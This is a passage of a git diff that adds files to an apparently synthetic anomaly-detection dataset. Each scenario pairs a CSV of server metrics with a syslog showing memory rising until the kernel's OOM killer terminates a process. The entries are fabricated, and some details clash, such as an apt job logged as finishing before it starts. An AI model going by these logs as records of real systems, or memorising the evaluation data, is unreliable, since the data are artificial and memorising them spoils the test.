kubelet[2345]: INFO routine sync completed for pod web-app-green +Jul 02 10:01:14 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:01:16 kubelet[2345]: INFO routine sync completed for pod web-app-green +Jul 02 10:01:41 kubelet[2345]: INFO routine sync completed for pod web-app-blue +Jul 02 10:02:06 kubelet[2345]: INFO routine sync completed for pod web-app-green +Jul 02 10:02:29 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:02:31 kubelet[2345]: INFO routine sync completed for pod web-app-green +Jul 02 10:02:58 kubelet[2345]: INFO routine sync completed for pod web-app-green +Jul 02 10:03:21 kubelet[2345]: INFO routine sync completed for pod web-app-green +Jul 02 10:03:44 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:03:46 kubelet[2345]: INFO routine sync completed for pod web-app-green +Jul 02 10:04:13 kubelet[2345]: INFO routine sync completed for pod web-app-blue +Jul 02 10:04:37 kubelet[2345]: INFO routine sync completed for pod web-app-green +Jul 02 10:05:00 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:05:02 kubelet[2345]: INFO routine sync completed for pod web-app-blue +Jul 02 10:05:27 kubelet[2345]: INFO routine sync completed for pod web-app-green +Jul 02 10:05:52 kubelet[2345]: INFO routine sync completed for pod web-app-blue +Jul 02 10:06:49 kernel: [12345.653901] a-buggy-app invoked oom-killer: gfp_mask=0x100cca(GFP_HIGHUSER_MOVABLE), order=0, oom_score_adj=998 +Jul 02 10:06:49 kernel: [12345.668901] oom-kill:constraint=CONSTRAINT_MEMCG,nodemask=(null),cpuset=/,mems_allowed=0,oom_memcg=/kubepods/burstable/pod123,task_memcg=/kubepods/burstable/pod123/container-abc,task=java,pid=1337,uid=1000 +Jul 02 10:06:50 kernel: [12345.678901] Memory cgroup out of memory: Killed process 1337 (java) total-vm:12345678kB, anon-rss:8765432kB, file-rss:4kB, shmem-rss:0kB +Jul 02 10:06:51 systemd[1]: session-1.scope: A process was killed by the OOM killer. +Jul 02 10:06:52 kubelet[2345]: ERROR Container container-abc in pod pod123 terminated with status 137 diff --git a/anom_dataset/scenario_2/anom_2_28.csv b/anom_dataset/scenario_2/anom_2_28.csv new file mode 100644 index 0000000000000000000000000000000000000000..33f8739271859916031f7e28017a56d0e0209d04 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_28.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-26T14:00:00Z,18.57,36.05,25.99,0.93,1.03 +2025-08-26T14:00:05Z,13.8,34.67,15.39,0.75,1.05 +2025-08-26T14:00:10Z,13.37,32.66,21.18,0.74,0.84 +2025-08-26T14:00:15Z,14.04,34.74,17.14,0.46,1.28 +2025-08-26T14:00:20Z,15.77,33.82,17.67,0.66,1.73 +2025-08-26T14:00:25Z,15.06,36.86,27.77,0.63,1.27 +2025-08-26T14:00:30Z,16.92,38.74,19.76,0.74,0.89 +2025-08-26T14:00:35Z,14.72,39.32,29.01,0.95,0.82 +2025-08-26T14:00:40Z,14.73,38.25,29.3,0.61,1.27 +2025-08-26T14:00:45Z,14.26,37.63,19.99,1.21,1.26 +2025-08-26T14:00:50Z,16.34,40.44,21.72,1.18,1.36 +2025-08-26T14:00:55Z,14.42,42.5,24.02,0.71,1.12 +2025-08-26T14:01:00Z,17.28,40.36,17.74,0.69,1.28 +2025-08-26T14:01:05Z,13.66,41.66,20.62,0.77,0.98 +2025-08-26T14:01:10Z,13.83,41.69,22.25,1.16,1.14 +2025-08-26T14:01:15Z,14.63,43.71,18.54,0.92,0.85 +2025-08-26T14:01:20Z,14.39,43.82,17.21,0.71,1.61 +2025-08-26T14:01:25Z,18.35,46.62,22.78,0.8,2.05 +2025-08-26T14:01:30Z,15.14,45.35,27.01,0.84,0.82 +2025-08-26T14:01:35Z,13.87,44.75,28.67,0.61,1.11 +2025-08-26T14:01:40Z,11.87,49.57,24.85,0.76,1.21 +2025-08-26T14:01:45Z,16.11,49.12,15.12,0.96,1.46 +2025-08-26T14:01:50Z,13.7,47.27,29.19,0.82,1.0 +2025-08-26T14:01:55Z,15.73,48.06,26.26,0.82,1.25 +2025-08-26T14:02:00Z,13.96,48.51,15.31,0.37,0.7 +2025-08-26T14:02:05Z,11.63,52.82,22.98,0.58,1.01 +2025-08-26T14:02:10Z,18.01,53.07,23.83,0.99,1.38 +2025-08-26T14:02:15Z,14.73,52.95,22.64,0.8,0.9 +2025-08-26T14:02:20Z,13.77,51.94,16.31,0.68,0.78 +2025-08-26T14:02:25Z,15.03,50.5,17.95,0.72,1.64 +2025-08-26T14:02:30Z,14.37,55.22,28.25,0.82,1.36 +2025-08-26T14:02:35Z,15.7,55.85,28.83,0.42,1.28 +2025-08-26T14:02:40Z,14.36,55.07,20.65,0.96,1.02 +2025-08-26T14:02:45Z,16.46,53.59,19.06,0.75,1.42 +2025-08-26T14:02:50Z,13.64,54.88,17.49,0.77,1.18 +2025-08-26T14:02:55Z,16.9,60.45,26.16,0.77,1.34 +2025-08-26T14:03:00Z,16.64,59.63,19.12,0.74,0.93 +2025-08-26T14:03:05Z,13.95,57.66,18.54,0.7,1.41 +2025-08-26T14:03:10Z,14.79,58.43,19.17,1.12,1.0 +2025-08-26T14:03:15Z,16.12,59.12,19.17,0.95,1.02 +2025-08-26T14:03:20Z,14.48,64.83,27.91,0.94,1.32 +2025-08-26T14:03:25Z,13.69,62.69,22.21,0.7,1.34 +2025-08-26T14:03:30Z,10.89,63.38,23.21,1.04,0.96 +2025-08-26T14:03:35Z,16.76,64.08,26.84,1.22,0.96 +2025-08-26T14:03:40Z,14.07,61.95,22.51,0.62,1.29 +2025-08-26T14:03:45Z,13.24,65.82,27.07,1.0,1.22 +2025-08-26T14:03:50Z,15.57,67.18,20.71,0.71,0.5 +2025-08-26T14:03:55Z,15.88,65.27,17.72,0.96,1.2 +2025-08-26T14:04:00Z,17.49,64.95,15.06,0.96,1.34 +2025-08-26T14:04:05Z,14.16,65.26,17.73,0.9,1.04 +2025-08-26T14:04:10Z,16.45,68.61,20.96,1.05,1.68 +2025-08-26T14:04:15Z,14.81,69.94,16.26,1.07,1.5 +2025-08-26T14:04:20Z,14.07,71.57,18.14,0.64,1.49 +2025-08-26T14:04:25Z,14.55,69.3,19.44,0.82,1.28 +2025-08-26T14:04:30Z,16.45,68.54,25.91,0.65,0.76 +2025-08-26T14:04:35Z,13.94,74.53,25.91,0.35,1.53 +2025-08-26T14:04:40Z,12.84,73.63,18.53,0.92,1.28 +2025-08-26T14:04:45Z,16.32,72.13,20.89,0.67,1.65 +2025-08-26T14:04:50Z,14.58,73.76,19.0,0.87,0.9 +2025-08-26T14:04:55Z,13.96,71.21,21.49,0.88,1.51 +2025-08-26T14:05:00Z,14.89,78.77,22.32,0.66,1.22 +2025-08-26T14:05:05Z,13.01,76.82,22.55,1.04,0.55 +2025-08-26T14:05:10Z,14.38,77.45,17.35,0.5,1.56 +2025-08-26T14:05:15Z,15.59,75.08,28.48,0.87,0.85 +2025-08-26T14:05:20Z,14.69,76.8,23.92,0.98,1.06 +2025-08-26T14:05:25Z,17.53,82.62,27.44,0.94,0.93 +2025-08-26T14:05:30Z,15.45,81.34,20.76,1.0,1.08 +2025-08-26T14:05:35Z,15.93,80.08,16.7,0.83,0.89 +2025-08-26T14:05:40Z,13.64,79.56,29.86,0.99,0.77 +2025-08-26T14:05:45Z,17.48,80.83,28.95,0.5,1.37 +2025-08-26T14:05:50Z,20.65,83.19,20.58,0.7,1.18 +2025-08-26T14:05:55Z,18.21,82.7,17.53,0.82,1.09 +2025-08-26T14:06:00Z,19.85,83.48,17.03,0.84,1.23 +2025-08-26T14:06:05Z,14.63,83.91,24.04,0.8,0.95 +2025-08-26T14:06:10Z,11.65,84.45,23.45,0.7,1.44 +2025-08-26T14:06:15Z,13.98,88.57,26.36,0.48,1.02 +2025-08-26T14:06:20Z,12.13,87.39,26.8,0.95,1.19 +2025-08-26T14:06:25Z,14.28,86.22,29.48,0.88,1.03 +2025-08-26T14:06:30Z,13.4,88.78,16.08,0.7,0.99 +2025-08-26T14:06:35Z,9.87,87.21,27.4,0.99,1.36 +2025-08-26T14:06:40Z,17.37,92.09,264.95,0.85,1.9 +2025-08-26T14:06:45Z,13.09,91.13,237.74,0.66,1.51 +2025-08-26T14:06:50Z,13.11,91.07,152.63,0.44,2.12 +2025-08-26T14:06:55Z,16.56,91.22,200.17,1.21,1.29 +2025-08-26T14:07:00Z,14.07,89.53,296.51,0.56,1.64 +2025-08-26T14:07:05Z,19.25,93.86,180.32,1.09,1.29 +2025-08-26T14:07:10Z,17.06,96.25,188.38,0.94,0.59 +2025-08-26T14:07:15Z,14.74,95.77,296.31,0.87,1.24 +2025-08-26T14:07:20Z,13.77,95.92,220.6,1.22,1.62 +2025-08-26T14:07:25Z,11.14,92.76,249.44,0.3,1.16 diff --git a/anom_dataset/scenario_2/anom_2_28.log b/anom_dataset/scenario_2/anom_2_28.log new file mode 100644 index 0000000000000000000000000000000000000000..8f941b30646d6bc3553ac989ec8900bb3d7243d3 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_28.log @@ -0,0 +1,32 @@ +Aug 26 14:00:00 my-server nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 26 14:00:05 my-server kubelet[24246]: INFO Liveness probe succeeded for pod web-server-1 +Aug 26 14:00:10 my-server systemd[1]: Started Session 13 of user root. +Aug 26 14:00:15 my-server sshd[14540]: Accepted publickey for user admin from 10.0.1.5 port 40445 ssh2 +Aug 26 14:00:40 my-server kubelet[7461]: INFO Liveness probe succeeded for pod web-server-1 +Aug 26 14:01:40 my-server kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=1.2.3.4 DST=10.0.0.5 ... +Aug 26 14:02:00 my-server systemd[1]: Started Session 7 of user root. +Aug 26 14:02:05 my-server kubelet[12035]: INFO Successfully probed container metrics-collector +Aug 26 14:02:15 my-server kubelet[26613]: INFO Liveness probe succeeded for pod web-server-1 +Aug 26 14:02:55 my-server kubelet[22557]: INFO Liveness probe succeeded for pod web-server-1 +Aug 26 14:03:05 my-server sshd[13710]: Accepted publickey for user admin from 10.0.1.5 port 59089 ssh2 +Aug 26 14:03:10 my-server kubelet[16432]: INFO Successfully probed container metrics-collector +Aug 26 14:03:40 my-server systemd[1]: Started Session 8 of user root. +Aug 26 14:03:50 my-server kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=1.2.3.4 DST=10.0.0.5 ... +Aug 26 14:04:10 my-server kubelet[2877]: INFO Successfully probed container metrics-collector +Aug 26 14:04:15 my-server systemd[1]: Started Session 7 of user root. +Aug 26 14:04:20 my-server nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 26 14:04:25 my-server nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 26 14:04:45 my-server systemd[1]: Finished Daily apt upgrade and clean activities. +Aug 26 14:04:50 my-server kubelet[7081]: INFO Successfully probed container metrics-collector +Aug 26 14:05:05 my-server sshd[23324]: Accepted publickey for user admin from 10.0.1.5 port 47131 ssh2 +Aug 26 14:05:15 my-server systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 26 14:05:40 my-server nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 26 14:05:45 my-server sshd[10678]: Accepted publickey for user admin from 10.0.1.5 port 49676 ssh2 +Aug 26 14:06:00 my-server cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:06:35 my-server systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 26 14:06:50 my-server systemd[1]: Started Session 5 of user root. +Aug 26 14:06:55 my-server kernel: [ 1815.193466] java invoked oom-killer: gfp_mask=0x100cca(GFP_HIGHUSER_MOVABLE), order=0, oom_score_adj=0 +Aug 26 14:06:55 my-server kernel: [ 1815.193471] CPU: 1 PID: 12345 Comm: java Not tainted 5.4.0-100-generic #113-Ubuntu +Aug 26 14:06:55 my-server kernel: [ 1815.193509] Memory cgroup out of memory: Killed process 12345 (java) total-vm:12582912kB, anon-rss:8388608kB, file-rss:0kB, shmem-rss:0kB +Aug 26 14:07:00 my-server sshd[20574]: Accepted publickey for user admin from 10.0.1.5 port 40142 ssh2 +Aug 26 14:07:10 my-server kubelet[25478]: INFO Liveness probe succeeded for pod web-server-1 diff --git a/anom_dataset/scenario_2/anom_2_29.csv b/anom_dataset/scenario_2/anom_2_29.csv new file mode 100644 index 0000000000000000000000000000000000000000..bcea84b6f8a40ebd80089b635a25e27ee0121af9 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_29.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T11:00:00Z,14.95,29.58,11.9,1.47,1.46 +2025-07-03T11:00:05Z,14.1,31.12,23.56,0.5,1.78 +2025-07-03T11:00:10Z,14.1,30.84,21.43,0.67,1.7 +2025-07-03T11:00:15Z,15.69,30.85,19.73,1.23,1.18 +2025-07-03T11:00:20Z,15.06,32.45,19.72,0.56,1.05 +2025-07-03T11:00:25Z,12.42,32.66,17.87,1.06,1.06 +2025-07-03T11:00:30Z,14.11,32.94,11.89,0.98,1.11 +2025-07-03T11:00:35Z,15.35,33.69,22.76,0.54,1.78 +2025-07-03T11:00:40Z,15.6,34.9,23.18,1.08,1.05 +2025-07-03T11:00:45Z,13.94,35.36,17.32,0.51,1.19 +2025-07-03T11:00:50Z,13.08,35.64,18.7,0.52,0.89 +2025-07-03T11:00:55Z,14.87,35.5,19.75,1.18,1.49 +2025-07-03T11:01:00Z,16.18,37.56,18.2,0.64,1.97 +2025-07-03T11:01:05Z,11.73,37.46,14.15,0.72,1.59 +2025-07-03T11:01:10Z,16.28,38.23,15.49,0.88,1.4 +2025-07-03T11:01:15Z,16.29,38.82,23.31,0.86,0.94 +2025-07-03T11:01:20Z,14.62,39.33,17.21,1.4,1.87 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+2025-07-03T11:03:05Z,15.24,51.94,21.22,1.12,1.45 +2025-07-03T11:03:10Z,17.21,53.61,14.58,0.66,1.18 +2025-07-03T11:03:15Z,13.24,53.27,19.97,1.04,1.66 +2025-07-03T11:03:20Z,19.54,53.76,10.11,1.26,1.94 +2025-07-03T11:03:25Z,16.05,54.73,21.37,1.33,1.84 +2025-07-03T11:03:30Z,15.55,55.2,21.15,0.75,1.55 +2025-07-03T11:03:35Z,13.68,55.47,13.8,1.06,1.58 +2025-07-03T11:03:40Z,11.52,56.66,11.77,1.24,1.48 +2025-07-03T11:03:45Z,14.35,57.43,21.53,0.55,0.98 +2025-07-03T11:03:50Z,14.33,57.14,12.06,1.36,0.86 +2025-07-03T11:03:55Z,13.88,57.78,20.56,0.59,1.05 +2025-07-03T11:04:00Z,13.89,58.1,10.85,1.42,1.56 +2025-07-03T11:04:05Z,13.26,59.53,19.69,0.77,0.82 +2025-07-03T11:04:10Z,21.21,59.51,12.01,1.05,1.2 +2025-07-03T11:04:15Z,15.86,60.81,15.23,0.58,1.75 +2025-07-03T11:04:20Z,15.22,61.22,16.5,1.25,1.68 +2025-07-03T11:04:25Z,12.83,61.78,23.87,0.98,1.23 +2025-07-03T11:04:30Z,13.97,62.39,18.64,0.89,1.78 +2025-07-03T11:04:35Z,13.65,62.82,18.78,1.42,1.72 +2025-07-03T11:04:40Z,15.22,63.06,22.62,0.56,1.51 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+2025-07-03T11:06:25Z,14.43,76.02,18.03,1.26,1.95 +2025-07-03T11:06:30Z,14.87,76.26,16.97,0.77,1.07 +2025-07-03T11:06:35Z,17.37,76.69,13.08,0.73,1.91 +2025-07-03T11:06:40Z,13.92,77.31,347.54,0.71,1.9 +2025-07-03T11:06:45Z,15.61,78.19,273.58,1.16,1.76 +2025-07-03T11:06:50Z,16.41,79.13,257.99,0.93,1.74 +2025-07-03T11:06:55Z,18.89,80.63,228.52,1.14,0.9 +2025-07-03T11:07:00Z,14.07,80.67,246.23,0.78,0.86 +2025-07-03T11:07:05Z,14.01,81.34,276.24,1.37,1.43 +2025-07-03T11:07:10Z,15.46,82.16,245.54,0.66,0.84 +2025-07-03T11:07:15Z,13.94,82.6,322.45,0.83,1.15 +2025-07-03T11:07:20Z,15.1,83.5,280.51,0.79,0.95 +2025-07-03T11:07:25Z,21.2,83.39,220.4,1.11,1.28 diff --git a/anom_dataset/scenario_2/anom_2_29.log b/anom_dataset/scenario_2/anom_2_29.log new file mode 100644 index 0000000000000000000000000000000000000000..773dc68d349909fabc9bd833233faa9b74cb8d14 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_29.log @@ -0,0 +1,15 @@ +Jul 03 11:00:02 systemd[1]: Started Session 5 of user admin. +Jul 03 11:00:08 sshd[12345]: Accepted publickey for admin from 10.0.2.2 port 48922 ssh2 +Jul 03 11:00:30 cron[1122]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Jul 03 11:01:15 kernel: [1234.5678] audit: type=1400 audit(1720004475.123:45): apparmor="DENIED" operation="open" profile="/usr/sbin/ntpd" name="/etc/localtime" pid=1234 comm="ntpd" requested_mask="r" denied_mask="r" fsuid=0 ouid=0 +Jul 03 11:02:05 systemd[1]: Starting Clean php session files... +Jul 03 11:02:40 web-app[5678]: INFO: User 'testuser' logged in successfully. +Jul 03 11:03:10 web-app[5678]: WARNING: High memory usage detected: 75% +Jul 03 11:04:22 web-app[5678]: WARNING: High memory usage detected: 85% +Jul 03 11:05:05 web-app[5678]: ERROR: Failed to allocate memory for request #12345 +Jul 03 11:06:30 kernel: [1594.1234] web-app invoked oom-killer: gfp_mask=0x100cca(GFP_HIGHUSER_MOVABLE), order=0, oom_score_adj=0 +Jul 03 11:07:05 kernel: [1629.5678] Out of memory: Kill process 5678 (web-app) score 950 or sacrifice child +Jul 03 11:07:05 kernel: [1629.5679] Killed process 5678 (web-app) total-vm:8134540kB, anon-rss:3821544kB, file-rss:0kB, shmem-rss:0kB +Jul 03 11:07:07 systemd[1]: session-5.scope: A process of this unit has been killed by the OOM killer. +Jul 03 11:07:10 systemd[1]: web-app.service: Main process exited, code=killed, status=9/KILL +Jul 03 11:07:15 systemd[1]: web-app.service: Failed with result 'oom-kill'. diff --git a/anom_dataset/scenario_2/anom_2_3.csv b/anom_dataset/scenario_2/anom_2_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..d59d5fe3597779d46c1145f8f224199849168eb9 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,12.52,43.77,28.32,0.69,0.87 +2025-07-02T12:00:05Z,13.94,43.8,20.0,0.72,0.97 +2025-07-02T12:00:10Z,13.68,44.46,38.7,0.67,0.74 +2025-07-02T12:00:15Z,16.0,46.98,30.44,0.4,1.1 +2025-07-02T12:00:20Z,16.28,46.41,23.52,0.75,0.81 +2025-07-02T12:00:25Z,15.76,46.78,34.12,0.76,0.64 +2025-07-02T12:00:30Z,17.53,47.34,25.79,0.67,0.89 +2025-07-02T12:00:35Z,14.52,48.78,27.96,0.53,0.89 +2025-07-02T12:00:40Z,14.18,47.78,37.7,0.58,0.84 +2025-07-02T12:00:45Z,17.28,47.92,25.04,0.49,0.34 +2025-07-02T12:00:50Z,12.13,49.3,26.93,0.56,0.61 +2025-07-02T12:00:55Z,11.99,50.65,34.53,0.41,0.87 +2025-07-02T12:01:00Z,15.11,49.98,27.15,0.53,0.82 +2025-07-02T12:01:05Z,11.32,52.96,38.39,0.65,0.78 +2025-07-02T12:01:10Z,12.5,53.77,20.1,0.49,0.62 +2025-07-02T12:01:15Z,13.1,52.32,31.3,0.67,1.01 +2025-07-02T12:01:20Z,13.74,55.05,33.11,0.9,0.99 +2025-07-02T12:01:25Z,11.3,53.43,20.0,0.7,0.77 +2025-07-02T12:01:30Z,10.89,55.47,38.13,0.59,1.2 +2025-07-02T12:01:35Z,10.58,56.81,27.74,0.66,0.57 +2025-07-02T12:01:40Z,10.02,56.33,21.08,0.89,1.11 +2025-07-02T12:01:45Z,12.48,55.88,28.47,0.46,0.83 +2025-07-02T12:01:50Z,15.72,59.19,24.5,0.7,0.99 +2025-07-02T12:01:55Z,14.6,57.77,28.92,0.46,0.99 +2025-07-02T12:02:00Z,11.51,56.86,27.68,0.4,1.0 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+2025-07-02T12:07:05Z,16.33,97.21,99.0,0.63,1.2 +2025-07-02T12:07:10Z,15.23,95.85,99.0,0.73,1.13 +2025-07-02T12:07:15Z,17.85,98.55,70.21,0.29,0.81 +2025-07-02T12:07:20Z,18.18,99.67,84.02,0.27,0.72 +2025-07-02T12:07:25Z,17.68,99.08,89.18,0.54,0.59 diff --git a/anom_dataset/scenario_2/anom_2_3.log b/anom_dataset/scenario_2/anom_2_3.log new file mode 100644 index 0000000000000000000000000000000000000000..e03d266b6531d95eaf770da4d9769d5bd6beedfd --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_3.log @@ -0,0 +1,15 @@ +Jul 02 12:00:12 systemd-logind[1101]: New session 5 of user admin. +Jul 02 12:00:22 sshd[13456]: Accepted password for admin from 10.0.2.2 port 45890 ssh2 +Jul 02 12:00:50 kubelet[2345]: INFO Creating pod sandbox 'data-processor-xyz' +Jul 02 12:01:40 CRON[14001]: pam_unix(cron:session): session opened for user root by (uid=0) +Jul 02 12:02:40 CRON[14001]: pam_unix(cron:session): session closed for user root +Jul 02 12:03:40 kubelet[2345]: INFO pulling image 'my-repo/data-processor:v1.2.3' +Jul 02 12:05:00 systemd[1]: Starting Cleanup of Temporary Directories... +Jul 02 12:06:00 systemd[1]: systemd-tmpfiles-clean.service: Succeeded. +Jul 02 12:06:30 kubelet[2345]: INFO Successfully pulled image 'my-repo/data-processor:v1.2.3' +Jul 02 12:06:55 kernel: [34567.987654] data-processor invoked oom-killer: gfp_mask=0x100cca(GFP_HIGHUSER_MOVABLE), order=0, oom_score_adj=0 +Jul 02 12:06:55 kernel: [34567.987890] CPU: 2 PID: 9876 Comm: data-processor Tainted: G W 5.4.0-102-generic #115-Ubuntu +Jul 02 12:06:55 kernel: [34567.988123] [ 9876] 0 9876 4194304 307200 1 0 0 post-writer +Jul 02 12:06:55 kernel: [34567.989456] Out of memory: Kill process 9876 (data-processor) score 987 or sacrifice child +Jul 02 12:06:55 kernel: [34567.990123] Killed process 9876 (data-processor) total-vm:16777216kB, anon-rss:1228800kB, file-rss:0kB, shmem-rss:0kB +Jul 02 12:06:56 systemd[1]: kubepods-pod456-def-789.slice: A process was killed by the OOM killer. diff --git a/anom_dataset/scenario_2/anom_2_30.csv b/anom_dataset/scenario_2/anom_2_30.csv new file mode 100644 index 0000000000000000000000000000000000000000..3b3a3b9958e35466239a522c350d2e5a427e73b6 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_30.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,12.37,34.97,28.68,1.17,1.58 +2025-07-02T10:00:05Z,14.9,36.51,20.15,0.85,1.28 +2025-07-02T10:00:10Z,14.07,36.5,35.35,0.98,1.76 +2025-07-02T10:00:15Z,19.5,36.87,34.53,1.04,1.48 +2025-07-02T10:00:20Z,16.33,37.42,22.71,1.03,0.77 +2025-07-02T10:00:25Z,12.86,38.54,22.34,0.51,1.01 +2025-07-02T10:00:30Z,12.79,39.78,24.34,0.78,0.78 +2025-07-02T10:00:35Z,17.0,40.15,34.01,1.3,1.35 +2025-07-02T10:00:40Z,13.81,41.09,27.98,0.75,1.61 +2025-07-02T10:00:45Z,15.08,42.35,22.66,1.02,1.25 +2025-07-02T10:00:50Z,11.94,40.09,24.9,1.28,1.18 +2025-07-02T10:00:55Z,11.3,40.36,25.95,0.7,1.1 +2025-07-02T10:01:00Z,17.67,41.63,20.21,0.8,1.47 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0000000000000000000000000000000000000000..0d0f9f7de8143e20a654534847832fd6b94298e8 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_30.log @@ -0,0 +1,14 @@ +Jul 02 10:00:05 systemd[1]: Started Session 1 of user default. +Jul 02 10:00:25 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:01:15 sshd[12534]: Accepted password for user default from 10.0.2.2 port 51234 ssh2 +Jul 02 10:02:30 kernel: [12345.678] audit: type=1400 audit(1364214933.234:5): apparmor="DENIED" operation="open" profile="/usr/sbin/ntpd" name="/etc/localtime" pid=1234 comm="ntpd" +Jul 02 10:03:45 kubelet[2345]: INFO: Successfully probed container health-check +Jul 02 10:05:00 nginx[1123]: 192.168.1.5 - - [02/Jul/2025:10:05:00 +0000] "GET /healthz HTTP/1.1" 200 12 "-" "kube-probe/1.28" +Jul 02 10:06:15 kernel: [12765.111] INFO: task java:1134 blocked for more than 120 seconds. +Jul 02 10:06:30 kernel: [12780.222] Not tainted 5.4.0-150-generic #167-Ubuntu +Jul 02 10:06:50 kernel: [12795.333] java invoked oom-killer: gfp_mask=0x100cca(GFP_HIGHUSER_MOVABLE), order=0, oom_score_adj=0 +Jul 02 10:06:50 kernel: [12795.333] CPU: 1 PID: 1134 Comm: java Not tainted 5.4.0-150-generic #167-Ubuntu +Jul 02 10:06:50 kernel: [12795.333] Out of memory: Kill process 1134 (java) score 948 or sacrifice child +Jul 02 10:06:50 kernel: [12795.333] Killed process 1134 (java) total-vm:2554244kB, anon-rss:1873408kB, file-rss:0kB, shmem-rss:0kB +Jul 02 10:07:05 systemd[1]: session-1.scope: A process of this unit has been killed by the OOM killer. +Jul 02 10:07:20 kubelet[2345]: INFO: Container java-app entered CrashLoopBackOff state diff --git a/anom_dataset/scenario_2/anom_2_4.csv b/anom_dataset/scenario_2/anom_2_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..b2fce90fdff931c8f55ceffe15017cca17f7a03d --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T13:00:00Z,22.71,35.32,19.46,1.56,1.37 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+2025-07-02T13:06:45Z,23.38,89.19,17.46,1.56,1.88 +2025-07-02T13:06:50Z,25.22,90.37,13.84,1.36,1.87 +2025-07-02T13:06:55Z,24.86,91.02,16.9,1.75,2.34 +2025-07-02T13:07:00Z,25.29,92.31,93.64,1.82,1.96 +2025-07-02T13:07:05Z,23.38,93.84,99.0,1.5,1.43 +2025-07-02T13:07:10Z,26.84,96.15,99.0,1.41,1.78 +2025-07-02T13:07:15Z,23.64,97.43,99.0,1.69,1.52 +2025-07-02T13:07:20Z,26.96,98.93,99.0,1.47,1.68 +2025-07-02T13:07:25Z,28.97,99.84,99.0,1.33,1.47 diff --git a/anom_dataset/scenario_2/anom_2_4.log b/anom_dataset/scenario_2/anom_2_4.log new file mode 100644 index 0000000000000000000000000000000000000000..f3b882850cf584bb40e864bc8625c19624b8d3a2 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_4.log @@ -0,0 +1,12 @@ +Jul 02 13:00:08 systemd[1]: Reached target Timers. +Jul 02 13:00:30 sshd[15001]: Server listening on 0.0.0.0 port 22. +Jul 02 13:01:00 kubelet[2345]: INFO Event(v1.ObjectReference{Kind:"Pod", Namespace:"default", Name:"cache-service-abc"}): type: 'Normal' reason: 'Scheduled' Successfully assigned default/cache-service-abc to node-1 +Jul 02 13:01:50 cron[15100]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 13:03:00 kubelet[2345]: INFO Pod sandbox changed, it will be killed and re-created +Jul 02 13:04:10 nginx[1123]: GET /metrics HTTP/1.1 200 OK +Jul 02 13:05:20 systemd[1]: Started Daily apt upgrade and clean activities. +Jul 02 13:06:25 sshd[15001]: Received disconnect from 10.0.2.2 port 51234: 11: disconnected by user +Jul 02 13:07:05 kernel: [45678.112233] cache-service invoked oom-killer: gfp_mask=0x100cca(GFP_HIGHUSER_MOVABLE), order=0, oom_score_adj=0 +Jul 02 13:07:05 kernel: [45678.112456] CPU: 0 PID: 12345 Comm: cache-service Not tainted 5.4.0-103-generic #116-Ubuntu +Jul 02 13:07:05 kernel: [45678.113456] Memory cgroup out of memory: Killed process 12345 (cache-service) total-vm:3145728kB, anon-rss:1572864kB, file-rss:0kB, shmem-rss:0kB +Jul 02 13:07:07 systemd[1]: session-c4.scope: A process was killed by the OOM killer. diff --git a/anom_dataset/scenario_2/anom_2_5.csv b/anom_dataset/scenario_2/anom_2_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..dc3e1390bfce6d9662e03e283d179d44d473a944 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,13.053429876131077,35.0,25.116235219270948,0.742404836695978,1.1603132084616166 +2025-07-02T10:00:05Z,17.17122887405698,36.70318292209243,29.44659564563106,0.8782349011831164,1.4336157436360601 +2025-07-02T10:00:10Z,12.175679251825557,35.798288582031034,24.71968641387173,0.9415141857059538,1.2777513460909316 +2025-07-02T10:00:15Z,13.27891650838381,37.2529793582097,28.104015333962217,0.564971736674893,1.3522517301580408 +2025-07-02T10:00:20Z,15.880217036251242,37.8948491118714,27.134063659554016,0.9441901060606599,1.7128113161347605 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+2025-07-02T10:07:10Z,25.5403453906398,92.50654878694054,92.0,0.8819256177551824,1.641690688300663 +2025-07-02T10:07:15Z,25.06430035334109,94.41849562059994,90.0,0.9417295692861187,1.9499271662862294 +2025-07-02T10:07:20Z,23.569932232653912,94.81510713861456,89.0,0.972677036394235,0.5699763125382936 +2025-07-02T10:07:25Z,24.140958615317448,94.53570009005398,99.0,0.9433786954836652,1.18350064133262 diff --git 